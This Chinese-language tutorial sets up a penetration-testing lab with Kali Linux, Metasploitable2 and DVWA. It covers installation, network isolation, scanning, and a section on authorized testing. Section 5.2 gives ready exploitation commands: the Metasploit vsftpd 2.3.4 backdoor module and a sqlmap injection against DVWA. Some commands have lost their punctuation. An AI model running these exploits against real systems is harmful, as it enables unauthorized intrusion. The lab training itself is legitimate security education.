Kali Linux 与 2 大主流靶机联动:Metasploitable2 + DVWA 渗透测试环境搭建指南
Kali Linux 与两大主流靶机联动Metasploitable2 DVWA 渗透测试环境搭建实战指南在网络安全领域实践是检验技术能力的唯一标准。本文将带您构建一个完整的渗透测试实验环境将Kali Linux攻击机与Metasploitable2、DVWA两大经典漏洞靶机进行网络配置和实战联动。这套环境不仅适合安全爱好者进行技术练习也是企业安全团队进行内部培训的理想选择。1. 环境规划与基础准备1.1 虚拟化平台选择构建渗透测试环境首先需要选择合适的虚拟化平台。主流选择包括VMware Workstation Pro功能全面支持快照和高级网络配置VirtualBox开源免费适合个人学习使用Hyper-VWindows系统内置资源占用低推荐配置要求CPUIntel i5及以上支持VT-x/AMD-V虚拟化技术内存至少8GB建议16GB存储SSD硬盘至少100GB可用空间1.2 网络拓扑设计典型的渗透测试环境网络拓扑应包含以下组件[物理主机] ├── [VMware虚拟网络] │ ├── [Kali Linux] (攻击机) │ ├── [Metasploitable2] (Linux靶机) │ └── [DVWA] (Web应用靶机) └── [NAT网络] (可选互联网访问)建议采用仅主机模式(Host-Only)网络确保实验环境与物理网络隔离。2. Kali Linux攻击机配置2.1 Kali安装与优化从官网下载最新Kali Linux镜像(2023.3版本)wget https://kali.download/kali-images/kali-2023.3/kali-linux-2023.3-installer-amd64.iso安装完成后执行基础优化sudo apt update sudo apt full-upgrade -y sudo apt install -y kali-linux-large提示建议为Kali分配至少40GB磁盘空间和4GB内存2.2 关键工具验证确保以下核心工具可用信息收集nmap, recon-ng漏洞分析nessus, openvas渗透工具metasploit-framework, burpsuite密码攻击hydra, john无线安全aircrack-ng, kismet验证Metasploit框架msfconsole --version # 应返回类似Metasploit Framework 6.3.0-dev3. Metasploitable2靶机部署3.1 获取与启动从SourceForge下载Metasploitable2镜像wget https://sourceforge.net/projects/metasploitable/files/Metasploitable2/metasploitable-linux-2.0.0.zip解压后导入VMware/VirtualBox关键配置网络模式Host-Only内存1GB足够磁盘8GB默认配置3.2 系统信息默认登录凭证用户名msfadmin 密码msfadmin重要服务端口21/tcp - vsftpd 2.3.4 (存在后门)22/tcp - OpenSSH 4.7p123/tcp - telnetd80/tcp - Apache 2.2.83306/tcp - MySQL 5.0.51a3.3 安全配置建议虽然Metasploitable2设计为漏洞靶机但建议# 修改默认密码 passwd msfadmin # 关闭不必要服务 sudo service vsftpd stop sudo update-rc.d vsftpd disable4. DVWA靶机部署4.1 快速安装方法DVWA(Damn Vulnerable Web App)提供多种安装方式Docker方式推荐docker pull vulnerables/web-dvwa docker run -d -p 80:80 vulnerables/web-dvwa传统安装下载源码wget https://github.com/digininja/DVWA/archive/master.zip unzip master.zip -d /var/www/html/配置数据库CREATE DATABASE dvwa; GRANT ALL ON dvwa.* TO dvwalocalhost IDENTIFIED BY pssw0rd; FLUSH PRIVILEGES;4.2 安全等级设置DVWA提供四种安全等级Low无任何防护Medium基础过滤High增强防护Impossible理论上无法攻破通过界面可动态调整http://靶机IP/dvwa/security.php5. 网络联动实战5.1 网络发现使用nmap进行基础扫描nmap -sV -T4 -A 192.168.56.0/24典型输出Nmap scan report for 192.168.56.102 Host is up (0.00047s latency). Not shown: 977 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) 23/tcp open telnet Linux telnetd ...5.2 漏洞利用示例案例1Metasploitable2 FTP后门msfconsole use exploit/unix/ftp/vsftpd_234_backdoor set RHOSTS 192.168.56.102 exploit案例2DVWA SQL注入sqlmap -u http://192.168.56.103/dvwa/vulnerabilities/sqli/?id1 --cookiesecuritylow; PHPSESSIDxxx --dbs5.3 自动化扫描使用Nikto进行Web扫描nikto -h http://192.168.56.103/dvwa/使用OpenVAS进行综合漏洞评估gvm-setup gsad --http-only --listen127.0.0.1 -p 93926. 环境维护与进阶6.1 快照管理建议为每个虚拟机创建以下快照初始状态纯净安装后配置完成网络和服务配置后漏洞利用前每次重要测试前6.2 扩展靶机考虑添加更多靶机丰富实验环境OWASP Juice Shop现代Web应用漏洞VulnHub机器多样化漏洞场景自定义环境模拟企业真实网络6.3 性能优化技巧当同时运行多个虚拟机时# 在物理主机上限制资源使用 sudo cpulimit -p VM进程ID -l 50 # 限制CPU使用率 sudo ionice -c 3 -p VM进程ID # 降低I/O优先级7. 安全研究与法律边界在开展渗透测试时务必注意仅对自有系统或授权系统进行测试测试前做好数据备份记录所有测试步骤和结果测试完成后恢复系统状态推荐测试流程信息收集 → 2. 威胁建模 → 3. 漏洞分析 → 4. 渗透利用 → 5. 后渗透 → 6. 报告撰写这套KaliMetasploitable2DVWA的渗透测试环境经过实际验证可以覆盖从初级到高级的大多数安全实验需求。我在多次企业内训中使用此环境配置学员反馈能有效理解漏洞原理和防御方法。
